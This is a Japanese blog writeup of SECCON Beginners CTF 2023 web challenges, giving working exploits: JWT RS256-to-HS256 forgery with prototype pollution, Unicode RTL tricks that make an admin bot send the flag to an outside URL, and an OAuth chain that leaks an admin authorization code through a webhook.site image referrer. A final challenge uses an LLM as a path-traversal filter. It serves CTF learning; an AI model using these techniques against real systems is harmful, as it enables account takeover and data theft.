st98 の日記帳 - コピー

なにか変なことが書かれていたり、よくわからない部分があったりすればコメントでご指摘ください。匿名でもコメント可能です🙏

SECCON Beginners CTF 2023 writeup

6/3の14時から24時間という競技時間で開催された。どれぐらい素早く解けるかの腕試しとして参加した。無事に開始から2時間でWeb問を全完でき、またdouble check, oooauthの2問についてはfirst bloodを取れてよかった。


[Web 149] double check (41 solves)

Double check is very secure.

(URL)

author: yuasa, difficulty: medium

添付ファイル: double_check.tar.gz

添付ファイルを展開すると、Node.js製のアプリをdockerizeしたものが出てきた。もっとも重要なアプリのコード部分である index.js は次の通り。

const express = require("express");
const session = require("express-session");
const jwt = require("jsonwebtoken");
const _ = require("lodash");

const { readKeyFromFile, generateRandomString, getAdminPassword } = require("./utils");

const HOST = process.env.CTF4B_HOST;
const PORT = process.env.CTF4B_PORT;
const FLAG = process.env.CTF4B_FLAG;

const app = express();
app.use(express.json());

app.use(session({
  secret: generateRandomString(),
  resave: false,
  saveUninitialized: true,
  cookie: { secure: false }
}));

app.post("/register", (req, res) => {
  const { username, password } = req.body;
  if(!username || !password) {
    res.status(400).json({ error: "Please send username and password" });
    return;
  }

  const user = {
    username: username,
    password: password
  };
  if (username === "admin" && password === getAdminPassword()) {
    user.admin = true;
  }
  req.session.user = user;

  let signed;
  try {
    signed = jwt.sign(
      _.omit(user, ["password"]),
      readKeyFromFile("keys/private.key"), 
      { algorithm: "RS256", expiresIn: "1h" } 
    );
  } catch (err) {
    res.status(500).json({ error: "Internal server error" });
    return;
  }
  res.header("Authorization", signed);

  res.json({ message: "ok" });
});

app.post("/flag", (req, res) => {
  if (!req.header("Authorization")) {
    res.status(400).json({ error: "No JWT Token" });
    return;
  }

  if (!req.session.user) {
    res.status(401).json({ error: "No User Found" });
    return;
  }

  let verified;
  try {
    verified = jwt.verify(
      req.header("Authorization"),
      readKeyFromFile("keys/public.key"), 
      { algorithms: ["RS256", "HS256"] }
    );
  } catch (err) {
    console.error(err);
    res.status(401).json({ error: "Invalid Token" });
    return;
  }

  if (req.session.user.username !== "admin" || req.session.user.password !== getAdminPassword()) {
    verified = _.omit(verified, ["admin"]);
  }

  const token = Object.assign({}, verified);
  const user = Object.assign(req.session.user, verified);

  if (token.admin && user.admin) {
    res.send(`Congratulations! Here"s your flag: ${FLAG}`);
    return;
  }

  res.send("No flag for you");
});

app.listen(PORT, HOST, () => {
  console.log(`Server is running on port ${PORT}`);
});

フラグの参照箇所周辺の確認

この問題ではなにがゴールであるのかを考えるために、まずフラグがどこにあるかを確認する。つまり、環境変数やファイルに保存されていないか、あるいはハードコーディングされていないかといったように、どこにどう保存されているかを確認する。雑にコードを検索すると、以下の通り process.env から持ってきていた。環境変数を参照しているっぽい。

const FLAG = process.env.CTF4B_FLAG

では、この FLAG はどこで使われているのか。もしコード中で参照されていない場合は、それはRCEなり、OSコマンドインジェクションからの printenv なりをしなければならないということを示唆しているけれども、今回はちゃんと POST /flag のハンドラで使われていた。つまり、この FLAG の参照箇所と、このアプリに存在している脆弱性とが関連している可能性が高そう。

app.post("/flag", (req, res) => {
    // …
});

JWTとサーバ側でのセッション管理

コードをざっと眺めた結果として、req.header("Authorization")req.session の両方を使っている点が気になった。署名したデータをクライアント側に保持させて、Authorization ヘッダを使ってクライアントにそれを投げさせ、リクエストのたびにサーバで署名を検証するJSON Web Token(JWT)と、クライアントにはセッションIDのみを与えてCookieとして保持させ、サーバ側でセッションIDと実際のデータを紐づけた上で保持するセッション(express-session)と、なぜか2通りでログイン情報の保持をしている。いずれかひとつで十分なのではないか。後で詳しく確認したいと考える。

POST /register の読解

このアプリの2つあるAPIのうち、まず POST /register を詳しく確認する。ユーザの登録・ログイン処理を担うAPIっぽい。この部分に対応するコードはシンプル。最初に req.body (リクエストボディ)から usernamepassword というパラメータを持ってくる。

  const { username, password } = req.body;
  if(!username || !password) {
    res.status(400).json({ error: "Please send username and password" });
    return;
  }

ユーザ名とパスワードを持つ user というオブジェクトを作成して、ユーザ名が admin かつパスワードが getAdminPassword() と一致していればそれにさらに user.admin = true という形で admin というプロパティを生やす。これで登録・ログインが完了したので、セッションとしてこのログイン情報を保持していく。

  const user = {
    username: username,
    password: password
  };
  if (username === "admin" && password === getAdminPassword()) {
    user.admin = true;
  }
  req.session.user = user;

なお、getAdminPassword の実装は以下の通りで、推測はできない。

function generateRandomString() {
    return crypto.randomBytes(16).toString("hex");
}

let adminPass = generateRandomString();

// …

function getAdminPassword() {
    return adminPass;
}

普通ならこれで十分なのだけれども、なぜかこのアプリはJWTも並行して使っており、JWTに関連する処理が続く。_.omit によって password というプロパティを削除した上で、jwt.sign によって署名をしている。ここで署名に使われている暗号化アルゴリズムは RS256 だ。これは公開鍵暗号方式で、秘密鍵を keys/private.key から読み込んでいる。

  let signed;
  try {
    signed = jwt.sign(
      _.omit(user, ["password"]),
      readKeyFromFile("keys/private.key"), 
      { algorithm: "RS256", expiresIn: "1h" } 
    );
  } catch (err) {
    res.status(500).json({ error: "Internal server error" });
    return;
  }

これでできあがったJWTを、Authorization ヘッダに含めて返す。

  res.header("Authorization", signed);

  res.json({ message: "ok" });

POST /flag の読解

FLAG が参照されている箇所から上方向に読んでいく。FLAG は特定の条件を満たすとレスポンスとして返ってくるらしい。ではその条件はなにかというと、token.admin && user.admin らしい。token の出元は Object.assign({}, verified)user の出元は Object.assign(req.session.user, verified) と、いずれもなんらかのオブジェクトに verified という変数に存在しているプロパティを、Object.assign でコピーする形で作られている。

  const token = Object.assign({}, verified);
  const user = Object.assign(req.session.user, verified);

  if (token.admin && user.admin) {
    res.send(`Congratulations! Here"s your flag: ${FLAG}`);
    return;
  }

verified とはなにか。これはクライアントから投げられた Authorization ヘッダにあるJWT(つまり、POST /register でログイン後に発行されたもの)について、keys/public.key に保存されている公開鍵を使い検証した上で、そのデータを使っている。もしこの検証が失敗すれば、つまり変に改ざんすれば、それがバレて jwt.verify によって例外が発生し、そこで処理が打ち切られる。

サーバ側に保存されているセッション(req.session)もこのあたりで使われている。保存しておいたログイン情報について、もしそれが admin ユーザのものでない場合は、JWTから取ってきたデータから、さらに _.omit によって admin というプロパティを削除している。たとえなんらかの方法でJWTを偽造できて、"admin": true のようなプロパティを追加できたとしても、ここでサーバ側で保存されているセッションとの不整合がバレて弾かれるというわけだ。…わざわざJWTを使わずとも、req.session だけで十分なのでは?

  let verified;
  try {
    verified = jwt.verify(
      req.header("Authorization"),
      readKeyFromFile("keys/public.key"), 
      { algorithms: ["RS256", "HS256"] }
    );
  } catch (err) {
    console.error(err);
    res.status(401).json({ error: "Invalid Token" });
    return;
  }

  if (req.session.user.username !== "admin" || req.session.user.password !== getAdminPassword()) {
    verified = _.omit(verified, ["admin"]);
  }

JWTの検証に関する疑問と、JWTの偽造

ところで、POST /flag におけるJWTの検証処理について気になった点がある。POST /register での署名時には RS256 を利用していたが、その検証に使用するアルゴリズムとして algorithms: ["RS256", "HS256"] と、共通鍵暗号方式の HS256 もあわせて許容するようになっている。

    verified = jwt.verify(
      req.header("Authorization"),
      readKeyFromFile("keys/public.key"), 
      { algorithms: ["RS256", "HS256"] }
    );

JWTはヘッダ部分に alg というパラメータがあり、ここで指定されたアルゴリズムによってJWTの検証がなされる。alg はユーザによって容易に改変できるため、jwt.verifyalgorithms オプションのように使用可能な署名アルゴリズムを指定することで、alg の改変による攻撃への対策を行う。しかし、ここでは RS256HS256 のいずれでも構わないということになっている。

もし algHS256 に改変するとどうなるか。ここで鍵として指定されている引数は keys/public.key の内容であるので、本来であれば RS256 の公開鍵として使われるべきところ、それが HS256 の共通鍵として使われてしまうことになる。つまり、keys/public.key の内容が入手できれば、それを HS256 の共通鍵として署名することで、JWTの偽造ができてしまう。

実は keys/public.key も添付ファイルに含まれている。問題サーバに発行されたJWTを、jwt.iojwt.msで添付されている keys/public.key で検証したところ、正規のものだと判定された。これは配布用に新たに生成された公開鍵ではなく、ちゃんと問題サーバでも使われているものらしい。なるほど、これでJWTの偽造ができる。

token.admin && user.admin のバイパス

token, user にはJWTから持ってきたデータである verified から Object.assign でプロパティをコピーしてきているのだった。ここから token.adminuser.admin をそれぞれtruthyな値にできないか。

ここで思い出されるのはPrototype Pollutionだ。これを利用すると、たとえば以下のように、プロパティのコピー元に __proto__ というプロパティを生やすことで、コピー先の obj.abc のプロパティへのアクセス時に、コピー元の __proto__ に含まれていたオブジェクトの abc の値を返させることができるようになる。

つまり、verified__proto__ というプロパティに、{admin: true} のようなオブジェクトを入れておくことで、先程の token.admin && user.admin を突破することができるのではないか。

const obj = Object.assign({}, JSON.parse(`{
    "__proto__": {"abc": 123}
}`));
console.log(obj.abc);

exploitを書く

PythonとRequestsを使ってexploitを書いていく。以下のような流れを実装したい。

  1. POST /register で適当なユーザ名でログイン
  2. keys/public.key を使いつつ、__proto__ というキーに {admin: true} という値を持つJWTを偽造
  3. POST /flag に、発行されたCookieと偽造したJWTを投げて攻撃

POST /flag を叩く際にはちゃんと POST /register でのログイン時に発行されたセッションIDを持っていなければならないので、requests.SessionでCookieを保持するようにする。それから、PythonでJWTを扱えるPyJWTは、新しいバージョンだと HS256 で公開鍵っぽい鍵を投げると怒られてしまうので、まだこの機能が入っていない0.4.3を使うようにする。

import requests
import jwt # 0.4.3
key = open('keys/public.key','rb').read()

s = requests.Session()
BASE = 'https://double-check.beginners.seccon.games'

s.post(f'{BASE}/register', json={
    'username': str(uuid.uuid4()),
    'password': str(uuid.uuid4())
})

r = s.post(f'{BASE}/flag', headers={
    'Authorization': jwt.encode({
        '__proto__': {'admin': True}
    }, key, algorithm='HS256')
})
print(r.text)

実行すると、フラグが得られた。

$ python3 s.py
Congratulations! Here"s your flag: ctf4b{Pr0707yp3_P0llU710n_f0R_7h3_w1n}

14時21分に解けた。first blood!

[Web 94] phisher2 (118 solves)

目に見える文字が全てではないが、過去の攻撃は通用しないはずです。

(URL)

author: xryuseix, difficulty: medium

添付ファイル: phisher2.tar.gz

添付ファイルを展開すると、今度はFlask製のアプリが出てきた。このWebアプリは / に対するGETとPOSTしかできない。

app.py の読解

まずエントリーポイントである app.py は以下の通り。POSTされたJSONについて text というプロパティを取り出し、その値を一時ファイルのHTMLに書き込んでいる。share2admin という別の関数に text と一時ファイルのパスを渡した上で、その返り値をJSONとして返している。

import os
import uuid
from admin import share2admin
from flask import Flask, request

app = Flask(__name__)

@app.route("/", methods=["GET"])
def index():
    return open("./index.html").read()

@app.route("/", methods=["POST"])
def chall():
    try:
        text = request.json["text"]
    except Exception:
        return {"message": "text is required."}
    fileId = uuid.uuid4()
    file_path = f"/var/www/uploads/{fileId}.html"
    with open(file_path, "w", encoding="utf-8") as f:
        f.write(f'<p style="font-size:30px">{text}</p>')
    message, ocr_url, input_url = share2admin(text, fileId)
    os.remove(file_path)
    return {"message": message, "ocr_url": ocr_url, "input_url": input_url}


if __name__ == "__main__":
    app.run(debug=True, host="0.0.0.0")

admin.py の読解

share2adminadmin.py で定義されている。input_text は元の text で、fileId は先程HTMLを書き込んだ一時ファイルのパスだ。share2admin は主に openWebPage を呼び出してOCRするパートと、その結果と input_text について find_url_in_text でそれぞれURLっぽい文字列を抜き出すパートに分かれている。

それからもう一つ重要な点があり、requests.get(f"{input_url}?flag={FLAG}")input_text から抽出されたURL(input_url)にクエリ文字列でフラグを書き足してアクセスしている。つまり、ここでwebhook.siteのような input_url にアクセスログを入手可能なURLを入れることができれば勝ち。

ただし、この処理を叩かせるには条件があり、OCRの結果から抽出されたURLが APP_URL、つまり問題サーバのURLで始まっている必要がある。OCRの結果と元々の結果を食い違ったものにさせて、前者からは問題サーバのURLが、後者からはwebhook.siteのURLが抽出されるようにしたい。

def share2admin(input_text: str, fileId: str):
    # admin opens the HTML file in a browser...
    ocr_text = openWebPage(fileId)
    if ocr_text is None:
        return "admin: Sorry, internal server error."

    # If there's a URL in the text, I'd like to open it.
    ocr_url = find_url_in_text(ocr_text)
    input_url = find_url_in_text(input_text)

    # not to open dangerous url
    if not ocr_url.startswith(APP_URL):
        return "admin: It's not url or safe url.", ocr_url, input_text

    try:
        # It seems safe url, therefore let's open the web page.
        requests.get(f"{input_url}?flag={FLAG}")
    except Exception as e:
        print(e)
        return f"admin: I could not open that inner link. {e}", ocr_url, input_text
    return "admin: Very good web site. Thanks for sharing!", ocr_url, input_text

OCR関連の処理は以下の通り。特に変わったものはなく、Seleniumを使ってChromiumに先程のHTMLのスクリーンショットを撮影させ、PyOCRを使ってTesseractにそのスクリーンショットからOCRをさせているというだけ。

# read text from image
def ocr(image_path: str):
    tool = pyocr.get_available_tools()[0]
    return tool.image_to_string(Image.open(image_path), lang="eng")


def openWebPage(fileId: str):
    try:
        chrome_options = webdriver.ChromeOptions()
        chrome_options.add_argument("--no-sandbox")
        chrome_options.add_argument("--headless")
        chrome_options.add_argument("--disable-gpu")
        chrome_options.add_argument("--disable-dev-shm-usage")
        chrome_options.add_argument("--window-size=1920,1080")
        driver = webdriver.Chrome(options=chrome_options)
        driver.implicitly_wait(10)
        url = f"file:///var/www/uploads/{fileId}.html"
        driver.get(url)

        image_path = f"./images/{fileId}.png"
        driver.save_screenshot(image_path)
        driver.quit()
        text = ocr(image_path)
        os.remove(image_path)
        return text
    except Exception:
        return None

解く

どうやって share2admin をごまかすかというところで、右から左に書く、いわゆるRTLのための制御文字を思いついた。ここからは強制的に右から左に書くということを意味するRLO(U+202E)と、それからここからは強制的に左から右に書くということを意味するLRO(U+202D)を組み合わせればよいのではないか。

具体的には、\u202ehttp://a.example.com/\u202dhttp://b.example.com/ は以下のように表示されるので、ocr_urlhttp://b.example.com//moc.elpmaxe.a//:ptth になる一方で、input_urlhttp://a.example.com/ になるはずだ。

これを利用していく。以下のようなリクエストを送ることでうまくいった。/?flag=ctf4b%7Bw451t4c4t154w?%7D というアクセスログが残っており、フラグが得られた。

$ curl -X POST -H "Content-Type: application/json" -d '{"text":"\u202ehttp://example.com/\u202dhttps://phisher2.beginners.seccon.games/foobar"}' https://phisher2.beginners.seccon.games
{"input_url":"\u202ehttp://example.com/\u202dhttps://phisher2.beginners.seccon.games/foobar","message":"admin: Very good web site. Thanks for sharing!","ocr_url":"https://phisher2.beginners.seccon.games/foobar/moc.elpmaxe//:ptth"}
ctf4b{w451t4c4t154w?}

15時7分に解けた。2番目。

[Web 341] oooauth (6 solves)

It is secure if you use oauth.

client: (URL)

authorization server: (URL)

author: yuasa, difficulty: hard

添付ファイル: oooauth.tar.gz

Node.js製のアプリで、どうやらOAuth 2.0を実装したらしい。問題文からもわかるようにクライアントと認可サーバの2つのサーバが存在しており、この両方のソースコードが添付ファイルとして与えられている。

フラグの場所の確認

とりあえずフラグの場所を確認してみようと flag で検索してみたところ、まずクライアント側の GET /flag に以下のような処理があった。セッションにアクセストークンが保存されており、これをもとに認可サーバの /flag を叩く。

app.get("/flag", async(req, res) => {
  if (!req.session.access_token) {
    res.render(
      "error", { 
        error: "you are not logged in", 
        error_description: ""
    });
    return;
  }
  const flagUrl = "http://server:3001/flag";
  const params = new URLSearchParams();
  params.append("access_token", req.session.access_token);
  try {
    const response = await axios.post(flagUrl, params, {
      headers: { "Content-Type": "application/x-www-form-urlencoded" }
    });
    res.send(response.data);
  } catch(err) {
    res.render("error", { 
      error: err.response.data.error, 
      error_description: "" 
    });
  }
});

認可サーバの POST /flag のコードは次の通り。なるほど、admin というユーザとしてログインできたらよいらしい。

app.post("/flag", (req, res) => {
  const access_token_value = req.body.access_token;
  const access_token = access_tokens[access_token_value];
  if (!access_token) {
    res.status(400).json({ error: "invalid token" });
    return;
  }

  const now = new Date(Date.now());
  if (now > access_token.expires_at) {
    access_tokens.delete(access_token.value);
    res.status(400).json({ 
      error: "The access token has expired."
    });
    return;
  }

  const user = getUserById(access_token.user_id);
  if (!user) {
    res.status(400).json({ error: "The user not found" });
    return;
  }
  if (user.username === "admin") {
    res.status(200).send(`Congratulations! Here's your flag: ${FLAG}`);
  } else {
    res.status(200).send("No flag for you");
  }
});

認可サーバには通報機能があり、/report からクエリ文字列を与えることで、認可サーバの /auth にそのクエリ文字列を付与した上でbotがアクセスしてくれるらしい。このbotは以下のようなコードで実現されている。PuppeteerでChromiumにそのURLへとアクセスさせているが、その際に admin というユーザとしてログインしている。

やるべきことが見えてきた。この通報をトリガーとして、なんらかの形で admin のアクセストークンやら認可コードやらを盗み取ることができるのだろう。

// This is an outline of the crawler's program when query parameters 
// are sent using the Report function of the authorization server(https://oooauth.beginners.seccon.games:3001/report).

const USERNAME = process.env.USERNAME; // admin username
const PASSWORD = process.env.PASSWORD; // admin password
const SERVER_URL = process.env.SERVER_URL;


const browser = await puppeteer.launch({
    args: [
        "--no-sandbox",
        "--disable-background-networking",
        "--disk-cache-dir=/dev/null",
        "--disable-default-apps",
        "--disable-extensions",
        "--disable-gpu",
        "--disable-sync",
        "--disable-translate",
        "--hide-scrollbars",
        "--metrics-recording-only",
        "--mute-audio",
        "--no-first-run",
        "--safebrowsing-disable-auto-update",
    ],
});
const page = await browser.newPage();

const targetURL = new url.URL(SERVER_URL);
targetURL.pathname = "/auth";

// query: ex. ?response_type=code&...&scopes=email profile
if (query) {
    const searchParams = new url.URLSearchParams(query);
    targetURL.search = searchParams.toString();
}

await page.goto(targetURL.toString(), {
    waitUntil: "networkidle2",
    timeout: 3000, 
}); 
await page.waitForSelector("input[name=username]");
await page.type("input[name=username]", USERNAME);
await page.type("input[name=password]", PASSWORD);
await page.click("input[name=approved]");
await page.waitForTimeout(1000);
await page.close();
await browser.close();

認可の流れ

クライアントのURLにアクセスすると、次のような画面が表示された。

ここから Login を押すと、以下のように認可サーバにリダイレクトされて、クライアントを認可するかどうかを聞かれる。

認可すると再びクライアントにリダイレクトされ、一連の流れが完了する。今回は guest としてログインしたが、クライアントにその情報が渡されていることがわかる。

この流れについてもうちょっと詳しく確認したい。ChromeのDevToolsを開き、NetworkタブでPreserve log(リダイレクトされても、それ以前の通信の情報を保持する)をオンにした上で、ログを取りつつクライアントの認可を試してみる。以下のようにちゃんとログが取れた。

Login 以降の流れは次の通り。ちなみに、Login ボタンは /auth へのリンクとなっている。

  1. クライアントの GET /auth にアクセス
  2. 認可サーバの GET /auth?response_type=code&client_id=oauth-client&redirect_uri=https%3A%2F%2Foooauth.beginners.seccon.games%3A3000%2Fcallback&scopes=email+profile にリダイレクトされる
  3. ログインフォームが表示されるので、認証情報を入力し認可ボタンを押す
  4. 認可サーバの POST /approve にリクエストが飛ぶ
  5. クライアントの GET /callback?code=(認可コード) にリダイレクトされる
  6. クライアントでのログイン後の画面が表示される

認可コードグラント(Authorization Code Grant)と呼ばれる認可フローっぽい。ここで見えていないこととして、5の GET /callback?code=(認可コード) でクライアントは認可コードを得るわけだけれども、そこでさらにクライアントは認可サーバのトークンエンドポイントというAPI(/token)に認可コードを投げて、リソースにアクセスするためのアクセストークンを得るというステップがある。

脆弱性その1: スコープからのHTML Injection

わざわざPuppeteerを使っているわけだから、なにかしらWebブラウザ関連の脆弱性があるだろうとまず考える。

クライアントも認可サーバもHTMLの生成にEJSというテンプレートエンジンを使っているが、その文法の中には <%- foo %> のようにすると foo という変数をエスケープせずに出力するというものがある。これを探してみると、クライアントの index.ejs に以下のような記述があった。

          <% if(scopes) { %>
            <p>Your Permissions:</p>
            <ul>
                <% scopes.forEach(function(scope) { %>
                    <li><%- scope %></li>
                <% }); %>
            </ul>
          <% }; %>

これはログインが完了した後に、クライアントの持っているアクセストークンでアクセス可能なリソースのスコープ(たとえば、emailprofile)を示すものだ。先程の流れでいう2の GET /auth?response_type=code&client_id=oauth-client&redirect_uri=https%3A%2F%2Foooauth.beginners.seccon.games%3A3000%2Fcallback&scopes=email+profile について、たとえば scopesemail+profile+<s>hoge</s>にするとどうなるだろうか。試してみると、以下のように <s>hoge</s> がHTMLとしてそのまま表示された。おっ。

ここからJavaScriptコードの実行に持ち込む(XSSに持ち込む)ことができれば、そのまま fetch('/flag') させるだけでフラグが得られるのだけれども、残念ながらできない。というのも、以下のようにレスポンスヘッダでContent Security Policy(CSP)が設定されているためだ。

これは、JavaScriptコードを実行するには、script 要素に nonce 属性として 483aa3b56624e396 という値が指定されている必要があることを意味する。このnonceはアクセスのたびに新しく生成されるもので、推測することはできない。

Content-Security-Policy: 
script-src 'nonce-483aa3b56624e396'; connect-src 'self'; base-uri 'self'; object-src 'none';

うーむと思ったところで、クライアントのHTMLの head<meta name="referrer" content="no-referrer-when-downgrade"> というタグが含まれていることに気づいた。no-referrer-when-downgrade は、たとえば <img src=//example.com> のように別オリジンのリソースが埋め込まれているという状況で、埋め込み元がHTTPSで埋め込み先がHTTPSなどの場合ではリファラが、パスやクエリ文字列も含めて送信されるという設定をするものだ。

先程の認可フローのステップ5を見るとわかるように、HTML Injectionが発生するのはクライアントの /callback?code=(認可コード) にアクセスしたタイミングだ。ここで <img src=//example.com> のように適当なWebサイトを埋め込んでやると、//example.com に認可コードありのリファラがくっついてリクエストが飛ぶ。//example.com をアクセスログの取得が可能なURLに変えると、そのログに残ったリファラから認可コードが盗み出せるわけだ。

ただし、これには問題がある。認可サーバのトークンエンドポイントである POST /token だけれども、クライアントが認可コードを投げてきて、こいつがアクセストークンを払い出した段階で、codes.delete(code.value); とその認可コードが無効化されてしまっている。つまり、このHTML Injectionで認可コードが盗み出せたとしても、それを使おうとした段階ですでにそれは使えなくなっているというわけだ。なんとかならないだろうか。

脆弱性その2: redirect_uri の検証の不徹底と、redirect_uri への認可コードの追加処理の誤り

なんとかして認可コードを失効させない方法がないだろうかと考えていたが、なかなか見つからない。悩んでいたところで、あらかじめHTML Injectionの発生するような認可コードを作らせておいて、上述の認可フローでいうステップ5の段階で、リダイレクト先の取得にとどめておいて、そのままアクセスはせず(使用させず)、使われていない認可コードだけを取り出すというのはどうかと考えた。

そして、たとえば上述の認可フローでいうステップ5で、/callback?code=(HTML Injectionが起こる認可コード)&code=(認可サーバが追加したadminの認可コード) のようなURLにリダイレクトさせられるようにして、ここでクライアントが後者の認可コードでなく前者の認可コードを参照するようにできないかと考えた。そうすれば、HTML Injectionを起こしつつ、adminの認可コードはここで参照されていないので、使用可能なまま盗み取ることができる。

そのために都合のよい点が2つあった。ひとつは、認可サーバの /auth において、認可コードをクエリ文字列に追加してリダイレクトする先を指定する redirect_uri のチェックが甘いという点だ。指定されたURLについてオリジンとパスのみが、事前に設定されたリストに含まれているかをチェックしている。これで、https://example.com のような、許可リストに存在するURLとオリジンやパスの異なるURLが指定されても弾かれるけれども、オリジンがクライアントのもので、かつパスが /callback でさえあれば、https://client:3000/callback?hoge=fuga のようにクエリ文字列が追加されていても気づかれない。

  if (!client.redirect_uris.includes(redirectUrl.origin+redirectUrl.pathname)) {
    res.status(400).json({ error: "invalid_request", error_description: "invalid redirect_uri" });
    return;
  }

もうひとつは、ユーザーエージェントによってクライアントによるリソースへの認可が許可された段階(上述のフローでいう4)で、認可サーバが一旦セッションに保存しておいた先程の redirect_uri について、それに code=(認可コード) を追加するという処理を行っている点だ。これで、もし元々 ?hoge=fuga のようなゴミが redirect_uri に含まれていたとしても、それに code を追加した ?hoge=fuga&code=(認可コード) という形で保持された上でリダイレクトがなされる。

  const client = req.session.client;
  const scopes = req.session.scopes;
  const redirect_uri = req.session.redirect_uri;

  req.session.destroy();

  const redirectUrl = new URL(redirect_uri);

// …

  codes.set(code.value, code);
  redirectUrl.searchParams.append("code", code.value);
  res.redirect(redirectUrl.href);

これで、botによる認可後に /callback?code=(HTML Injectionが起こる認可コード)&code=(認可サーバが追加したadminの認可コード) のようなパスへのリダイレクトができるとわかったけれども、まだ問題はある。実は、このままだと認可サーバは(使われてしまうと都合が悪い)後者を参照してしまうのだ。

というのも、code=hoge&code=fuga のようなリクエストボディであった場合には、req.body.code['hoge', 'fuga'] のような配列になるのだけれども、認可サーバは req.body.code が配列であった場合を想定しており、その際は一番最後の要素を認可コードとして採用するという処理をしているためだ。

const codeValue = Array.isArray(req.body.code)? req.body.code.slice(-1)[0] : req.body.code;

ここでまた若干悩むが、以前(どれだったかは忘れてしまったが)なにかのCTFでクエリ文字列のパーサである qs の挙動を探っていたことがあったのを思い出した*1。その際に、code[2]=hoge&code=fuga&code=piyo のようにしてやると、次のように、クエリ文字列では hoge, fuga, piyo という順番で出現するが、パースした結果の配列は fuga, piyo, hoge という順番になるという挙動も見つけていた。

> const qs = require('qs');
undefined
> qs.parse('code[2]=hoge&code=fuga&code=piyo')
{ code: [ 'fuga', 'piyo', 'hoge' ] }

今回の状況だと、ここで piyoadmin の認可コードということになる。hoge をHTML Injectionの起こる認可コードにしてやることで、認可サーバはそれが認可コードとして渡されたものとして判断する。これによってHTML Injectionを発生させつつ、admin の認可コードを未使用のまま盗み出すことができる。

解く

ここまでのまとめとして、まずHTML Injectionの起こるような認可コードを生成させるコードを書く。

import requests
import re
s = requests.Session()
s.get('https://oooauth.beginners.seccon.games:3001/auth?response_type=code&client_id=oauth-client&redirect_uri=https%3A%2F%2Foooauth.beginners.seccon.games%3A3000%2Fcallback&scopes=email+profile+%3Cimg/src%3dhttps://webhook.site/…%3E')
r = s.post('https://oooauth.beginners.seccon.games:3001/approve', data={
    'username': 'guest',
    'password': 'guest',
    'approved': 'Approve'
}, allow_redirects=False)

code = re.findall(r'code=(.+)', r.text)[0]
print(f'?response_type=code&client_id=oauth-client&redirect_uri=https%3A%2F%2Foooauth.beginners.seccon.games%3A3000%2Fcallback?code[2]%3d{code}%26code%3dfuga&scopes=email+profile')

これを使って、そのまま認可するとHTML Injectionで未使用の認可コードを盗み出せるクエリ文字列ができあがるので、それを通報する。すると、次のようなリクエストが来た。ちゃんとリファラに admin の認可コードが含まれている。

クライアントの /callback?code=(盗み出した認可コード) にアクセスすると、admin としてログインしたというメッセージが表示された。

このまま /flag にアクセスすると、フラグが得られた。

ctf4b{J00_4re_7HE_vUlN_cH41n_m457eR_0F_04U7H}

15時43分に解けた。first blood! 添付ファイルを展開したときに、クライアントと認可サーバであわせて500行ちょっととはいえ、OAuth 2.0かあ、面倒くさいなあ…と思ってしまった割にはとても早く解けて嬉しかった。解けた~!!!!! と喜びつつ、ウィニングランのような気持ちで次の2問に進んだ。

[Web 56] Forbidden (431 solves)

You don't have permission to access /flag on this server.

(URL)

author: Tsubasa, difficulty: beginner

添付ファイル: Forbidden.tar.gz

添付ファイルを展開すると、次のようなシンプルなNode.js向けのコードが出てきた。/flag にアクセスするとフラグが得られるけど、でもリクエストのパスに /flag が含まれていたら403が出る。どうしろと。

var express = require("express");
var app = express();

const HOST = process.env.CTF4B_HOST;
const PORT = process.env.CTF4B_PORT;
const FLAG = process.env.CTF4B_FLAG;

app.get("/", (req, res, next) => {
    return res.send('FLAG はこちら: <a href="/flag">/flag</a>');
});

const block = (req, res, next) => {
    if (req.path.includes('/flag')) {
        return res.send(403, 'Forbidden :(');
    }

    next();
}

app.get("/flag", block, (req, res, next) => {
    return res.send(FLAG);
})

var server = app.listen(PORT, HOST, () => {
    console.log("Listening:" + server.address().port);
});

今回使われているExpressは、デフォルトだとcase-insensitiveにルーティングをするらしいので、適当に最初の f を大文字に変えて /Flag にアクセスするとよい。

$ curl "https://forbidden.beginners.seccon.games/Flag"
ctf4b{403_forbidden_403_forbidden_403}

フラグが得られた。

ctf4b{403_forbidden_403_forbidden_403}

15時48分に解けた。

[Web 68] aiwaf (254 solves)

AI-WAFを超えてゆけ!! ※AI-WAFは気分屋なのでハックできたりできなかったりします。

(URL)

author: Satoki, difficulty: easy

添付ファイル: aiwaf.tar.gz

添付ファイルを展開すると、Flask製のアプリが出てきた。コードは以下の通り。

import uuid
import openai
import urllib.parse
from flask import Flask, request, abort

# from flask_limiter import Limiter
# from flask_limiter.util import get_remote_address

##################################################
# OpenAI API key
KEY = "****REDACTED****"
##################################################

app = Flask(__name__)
app.config["RATELIMIT_HEADERS_ENABLED"] = True

# limiter = Limiter(get_remote_address, app=app, default_limits=["3 per minute"])

openai.api_key = KEY

top_page = """
<!DOCTYPE html>
<html lang="ja">
<head>
    <meta charset="utf-8" />
    <title>亞空文庫</title>
</head>

<body>
    <h1>亞空文庫</h1>
    AIにセキュリティの物語を書いてもらいました。<br>
    内容は正しいかどうかわかりません。<br>
<ul>
    <li><a href="/?file=book0.txt">あ書</a></li>
    <li><a href="/?file=book1.txt">い書</a></li>
    <li><a href="/?file=book2.txt">う書</a></li>
    <!-- <li><a href="/?file=book3.txt">え書</a></li> -->
</ul>

※セキュリティのためAI-WAFを導入しています。<br>
© 2023 ももんがの書房
</body>

</html>
"""


@app.route("/")
def top():
    file = request.args.get("file")
    if not file:
        return top_page
    if file in ["book0.txt", "book1.txt", "book2.txt"]:
        with open(f"./books/{file}", encoding="utf-8") as f:
            return f.read()
    # AI-WAF
    puuid = uuid.uuid4()
    prompt = f"""\
以下の{puuid}に囲まれた部分のURLクエリはパストラバーサル攻撃でしょうか?
そうである場合Yesを、違う場合Noを返してください。
../やflagという文字列が含まれていた場合もYesを返してください。

{puuid}
{urllib.parse.unquote(request.query_string)[:50]}
{puuid}
"""
    try:
        response = openai.ChatCompletion.create(
            model="gpt-3.5-turbo",
            messages=[
                {
                    "role": "user",
                    "content": prompt,
                },
            ],
        )
        result = response.choices[0]["message"]["content"].strip()
    except:
        return abort(500, "OpenAI APIのエラーです。\n少し時間をおいてアクセスしてください。")
    if "No" in result:
        with open(f"./books/{file}", encoding="utf-8") as f:
            return f.read().replace(KEY, "")
    return abort(403, "AI-WAFに検知されました👻")


if __name__ == "__main__":
    app.run(debug=True, host="0.0.0.0", port=31415)

